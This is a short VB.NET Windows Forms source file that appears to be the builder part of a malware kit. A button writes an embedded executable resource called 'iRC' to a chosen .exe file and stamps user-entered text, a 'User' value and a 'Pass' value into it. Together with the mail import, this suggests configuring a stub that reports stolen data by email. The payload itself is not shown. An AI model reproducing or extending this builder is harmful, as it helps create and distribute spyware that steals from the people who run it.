#IL_Code 8920

Imports System.Management
Imports System.Net.Mail

Public Class form1


    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
        Dim i As New SaveFileDialog
        With i
            .Filter = "Apps |*.exe"
            If .ShowDialog() = Windows.Forms.DialogResult.OK Then
                IO.File.WriteAllBytes(i.FileName, My.Resources.iRC)
                ResourceWriter.WriteResource(i.FileName, TextBox1.Text, "2")
                ResourceWriter.WriteResource(i.FileName, User.Text, "1")
                ResourceWriter.WriteResource(i.FileName, Pass.Text, "3")
            End If
        End With
    End Sub
End Class